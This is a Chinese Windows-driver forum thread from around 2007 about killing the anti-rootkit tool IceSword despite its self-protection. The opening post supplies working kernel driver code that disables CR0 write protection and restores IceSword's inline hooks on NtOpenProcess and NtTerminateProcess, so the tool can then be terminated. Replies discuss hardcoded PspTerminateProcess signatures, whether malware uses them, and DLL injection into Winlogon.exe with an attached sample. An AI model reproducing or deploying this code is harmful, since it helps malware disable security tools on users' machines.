znsoft
管理员
管理员
  • 注册日期2001-03-23
  • 最后登录2023-10-25
  • 粉丝300
  • 关注6
  • 积分910分
  • 威望14796点
  • 贡献值7点
  • 好评度2410点
  • 原创分5分
  • 专家分100分
  • 社区居民
  • 最爱沙发
  • 社区明星
阅读:12641回复:44

突破IceSword自身的进程保护 [ 2006/12/17 17:19 | by xyzreg ]

楼主#
更多 发布于:2007-01-12 09:37
  IceSword的驱动对其自身进程做了保护,使恶意程序终止不了他。IceSword没有用HOOK SSDT的方法,不过也没用什么太BT的方法,而是Inline Hook了NtOpenProcess、NtTerminateProcess几个函数,即修改函数前5个字节,jmp到他自定义处理函数例程里。

终止采用这类保护方法的进程,可以使用暴力的PspTerminateProcess方法,PspTerminateProcess函数未导出,需要我们自己穷举特征码搜索来定位,或者硬编码之。当然,我们还可以恢复IceSword的Inline hook,还原被IceSword挂钩过的NtOpenProcess、NtTerminateProcess函数,然后在用户态上使用普通的终止进程的方法就可以终止他了。这里给出了第二中方法的具体代码,不过由于此篇文章出于科普目的,代码就写得马虎点了,仅适用于Windows XP,因为取SSDT对应的函数索引号用的硬编码,说明问题而已。NtTerminateProcess未导出,大家可以自己改成通过读取ntdll.dll动态通用的获得索引号的方法,方法网上有公开,需要的人就自己动点手吧,呵呵~



#include <ntddk.h>

#define DWORD unsigned long

unsigned char OldCode[5]="\x68\xc4\x00\x00\x00";
unsigned char OldCode2[5]="\x8b\xff\x55\x8b\xec";

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
 unsigned int *ServiceTableBase;
 unsigned int *ServiceCounterTableBase;
 unsigned int NumberOfServices;
 unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
 DWORD OpAddr,OpAddr2;

 OpAddr=*(KeServiceDescriptorTable.ServiceTableBase + 0x7A);
 OpAddr2=*(KeServiceDescriptorTable.ServiceTableBase + 0x101);

 _asm
 {
   CLI            
   MOV   eax, CR0    
   AND eax, NOT 10000H
   MOV   CR0, eax

   pushad
   mov edi, OpAddr
   mov eax, dword ptr OldCode[0]
   mov [edi], eax
   mov al, byte ptr OldCode[4]
   mov [edi+4], al
   mov edi, OpAddr2
   mov eax, dword ptr OldCode2[0]
   mov [edi], eax
   mov al, byte ptr OldCode2[4]
   mov [edi+4], al
   popad

   MOV   eax, CR0
   OR   eax, 10000H
   MOV   CR0, eax
   STI
 }
          
 return STATUS_SUCCESS;
}

最新喜欢:

yiziliyizili always586always...
http://www.zndev.com 免费源码交换网 ----------------------------- 软件创造价值,驱动提供力量! 淡泊以明志,宁静以致远。 ---------------------------------- 勤用搜索,多查资料,先搜再问。
fullx
驱动牛犊
驱动牛犊
  • 注册日期2007-07-17
  • 最后登录2009-08-28
  • 粉丝0
  • 关注0
  • 积分90分
  • 威望10点
  • 贡献值0点
  • 好评度9点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2007-08-16 02:48
Re:突破IceSword自身的进程保护&nbsp; [ 2006/12/17 17:19 | by xyzreg ]
牛人...
看得不是很懂,,,
DrSmart
驱动小牛
驱动小牛
  • 注册日期2006-01-25
  • 最后登录2008-07-23
  • 粉丝0
  • 关注0
  • 积分1000分
  • 威望129点
  • 贡献值0点
  • 好评度128点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2007-07-08 00:12
Re:突破IceSword自身的进程保护&nbsp; [ 2006/12/17 17:19 | by xyzreg ]
呵呵,都喜欢显摆啊,继续继续,找个板凳坐下看看
All-In-Smart DrSmart
zjjmj2002
驱动小牛
驱动小牛
  • 注册日期2007-04-05
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分15分
  • 威望321点
  • 贡献值0点
  • 好评度224点
  • 原创分1分
  • 专家分0分
地板#
发布于:2007-07-05 17:20
Re:Re:Re:突破IceSword自身的进程保护&#160; [ 2006/12/17 17:19 | by xyzreg ]
引用第41楼killvxk于2007-07-04 19:58发表的 Re:Re:突破IceSword自身的进程保护  [ 2006/12/17 17:19 | by xyzreg ] :


某开源工程中的代码~
正统ddk无法编译~

原来如此。
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
地下室#
发布于:2007-07-04 19:58
Re:Re:突破IceSword自身的进程保护&nbsp; [ 2006/12/17 17:19 | by xyzreg ]
引用第40楼zjjmj2002于2007-07-04 18:33发表的 Re:突破IceSword自身的进程保护  [ 2006/12/17 17:19 | by xyzreg ] :
为啥子xyzreg公布PspTerminateProcess硬编码这么久都没看到有病毒木马用喃?

是不是不好用得哇?


某开源工程中的代码~
正统ddk无法编译~
没有战争就没有进步 X3工作组 为您提供最好的军火
zjjmj2002
驱动小牛
驱动小牛
  • 注册日期2007-04-05
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分15分
  • 威望321点
  • 贡献值0点
  • 好评度224点
  • 原创分1分
  • 专家分0分
5楼#
发布于:2007-07-04 18:33
Re:突破IceSword自身的进程保护&nbsp; [ 2006/12/17 17:19 | by xyzreg ]
为啥子xyzreg公布PspTerminateProcess硬编码这么久都没看到有病毒木马用喃?

是不是不好用得哇?
devia
论坛版主
论坛版主
  • 注册日期2005-05-14
  • 最后登录2016-04-05
  • 粉丝3
  • 关注0
  • 积分1029分
  • 威望712点
  • 贡献值1点
  • 好评度555点
  • 原创分8分
  • 专家分4分
6楼#
发布于:2007-05-15 10:44
Re:突破IceSword自身的进程保护&nbsp; [ 2006/12/17 17:19 | by
6楼太强了!
人总在矛盾中徘徊。。。
tohide
驱动牛犊
驱动牛犊
  • 注册日期2006-08-29
  • 最后登录2007-06-21
  • 粉丝0
  • 关注0
  • 积分250分
  • 威望26点
  • 贡献值0点
  • 好评度25点
  • 原创分0分
  • 专家分0分
7楼#
发布于:2007-05-13 20:55
还是暴力搜索管用些
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
8楼#
发布于:2007-05-09 09:46
他贴的不全,呵呵~
没有战争就没有进步 X3工作组 为您提供最好的军火
tohide
驱动牛犊
驱动牛犊
  • 注册日期2006-08-29
  • 最后登录2007-06-21
  • 粉丝0
  • 关注0
  • 积分250分
  • 威望26点
  • 贡献值0点
  • 好评度25点
  • 原创分0分
  • 专家分0分
9楼#
发布于:2007-05-09 08:16
给你这个吧, PspTerminateProcess的硬编码~ 基本够用了

/*******************************************/
/* Internal data                                 */
/*******************************************/

static NTUNDOC_OSVERSION g_aOsVersion[] =
{
  {
    TEXT("ntkrnlpa 5.00.2195.1 (polish)"),
    TEXT("384D5A86189E80"),
“TEXT("384D5A86189E80")”从何处获取呢 ? xyzReg?
tohide
驱动牛犊
驱动牛犊
  • 注册日期2006-08-29
  • 最后登录2007-06-21
  • 粉丝0
  • 关注0
  • 积分250分
  • 威望26点
  • 贡献值0点
  • 好评度25点
  • 原创分0分
  • 专家分0分
10楼#
发布于:2007-05-08 23:13
好久没来呢
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
11楼#
发布于:2007-04-08 16:52
GUI界面想要普通用户看到,需要SetDesktop啊~
没有战争就没有进步 X3工作组 为您提供最好的军火
WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
12楼#
发布于:2007-04-08 15:54
几百年的老东西了也贴出来,。。,真没技术含量。。。。 是个人的都会
驱动开发者 呵呵
zjjmj2002
驱动小牛
驱动小牛
  • 注册日期2007-04-05
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分15分
  • 威望321点
  • 贡献值0点
  • 好评度224点
  • 原创分1分
  • 专家分0分
13楼#
发布于:2007-04-08 15:37
引用第20楼killvxk2007-01-18 18:31发表的“”:
保护进程太麻烦,索性DLL插入Winlogon.exe里给用户一个界面用~~哈哈,来结束我试试

这个办法好,俺已经试过了,不过还是怕被坏人使用,源代码就不贴了哈,不过有一个问题,用户界面只能在切换用户时才能看见,admin用户是看不见的,呵呵。
附件名称/大小 下载次数 最后更新
注入winlogo.zip (3KB)  65 2007-04-08 15:51
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
14楼#
发布于:2007-01-20 11:03
引用第29楼killvxk2007-01-19 21:21发表的“”:

NOTIFY DLL肯定可以用,因为M$说他还支持这玩意阿~

你肯定??测试过没有?
我们测试过好象不行,而且往MS发邮件,回答是不再支持了,所以现在我们只能用CREDENTIAL PROVIODERR来实现了,难道我们被忽悠了???
 
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
cardmagic
驱动中牛
驱动中牛
  • 注册日期2005-03-15
  • 最后登录2010-01-14
  • 粉丝0
  • 关注0
  • 积分1000分
  • 威望317点
  • 贡献值0点
  • 好评度312点
  • 原创分0分
  • 专家分0分
15楼#
发布于:2007-01-19 22:49
引用第26楼xyzreg2007-01-19 17:56发表的“”:

这种效果不是终止进程吧,而是让他死掉~ 记得前段时间EX_0FF放了个这种BIN~


可以让它结束掉.要处理.
牌术千术IT cardmagic.bokee.com
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
16楼#
发布于:2007-01-19 21:21
引用第28楼wowocock2007-01-19 18:44发表的“”:
老V说详细点,反正GINA,和NOTIFY DLL是不能用了,还有那个DLL能用??

NOTIFY DLL肯定可以用,因为M$说他还支持这玩意阿~
没有战争就没有进步 X3工作组 为您提供最好的军火
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
17楼#
发布于:2007-01-19 18:44
老V说详细点,反正GINA,和NOTIFY DLL是不能用了,还有那个DLL能用??
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
18楼#
发布于:2007-01-19 18:33
引用第25楼wowocock2007-01-19 17:11发表的“”:
LogonNotifyDLLVISTA下能用吗??
老实点用CREDENTIAL PROVIDOR吧


LogonDLL
可以用~
没有战争就没有进步 X3工作组 为您提供最好的军火
xyzreg
驱动小牛
驱动小牛
  • 注册日期2005-06-20
  • 最后登录2009-12-06
  • 粉丝0
  • 关注0
  • 积分294分
  • 威望173点
  • 贡献值0点
  • 好评度164点
  • 原创分0分
  • 专家分0分
19楼#
发布于:2007-01-19 17:56
引用第16楼cardmagic2007-01-18 14:15发表的“”:
只要在csrss里搞个东西出来,然后利用它在is里写点垃圾就可以了.

这种效果不是终止进程吧,而是让他死掉~ 记得前段时间EX_0FF放了个这种BIN~
上一页
游客

返回顶部